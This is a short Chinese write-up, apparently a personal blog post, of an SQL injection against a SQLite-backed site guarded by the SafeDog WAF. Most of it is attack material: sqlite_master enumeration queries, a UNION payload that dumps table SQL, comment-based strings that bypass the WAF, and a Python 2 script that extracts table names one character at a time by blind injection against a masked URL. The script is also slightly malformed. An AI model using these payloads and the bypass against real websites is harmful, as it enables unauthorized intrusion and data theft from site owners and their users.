测试了一个网站是Sqlite数据库，还装有安全狗，绕过了防护，找到Payload，写了一个Python脚本来跑表，这里总结一下：
取得sqlite数据库里所有的表名
查询table，type 段是'table'，name段是table的名字,
so: select name from sqlite_master where type='table' order by name;
查询一条记录：select name from sqlite_master where type='table' order by name limit 0,1
sqlite_version(*) 返回SQLite的版本
与MySQL5.x类似的,Sqlite存在与information_schema类似的⼀一个表,默认并不显示,名为sqlite_master,表中的字段有type,name,tbl_name,rootpage,sql,⽐较有价值的是sql字段
union select 1,sql,2,3 from sqlite_master
绕过安全狗简单的两个方法：
/*'+'*/
/**a*/
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import urllib import urllib2 payloads = '0123456789@_.abcdefghijklmnopqrstuvwxyz' header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' } values={} print 'Start to retrive user:' user= '' for i in range(1, 15): for payload in payloads values['fromCity']="xxx'/**a*/and/**a*/"+"substr((select name from sqlite_master where type='table' order by name limit 0,1),%s,1)='%s'--" %(i,str(payload)) data = urllib.urlencode(values) url = "http://www.xxxx.com/xxxx.aspx" geturl = url+'?'+data request = urllib2.Request(geturl,headers=header) response = urllib2.urlopen(request,timeout=5) result=response.read() print '.', if result.count('HO1110')>0: user += payload print '\n\n[in progress]', user, break print '\n\n[Done] user is %s' % user
参考文章：
PHP/Sqlite下常见漏洞浅析：http://www.2cto.com/Article/201410/342032.html
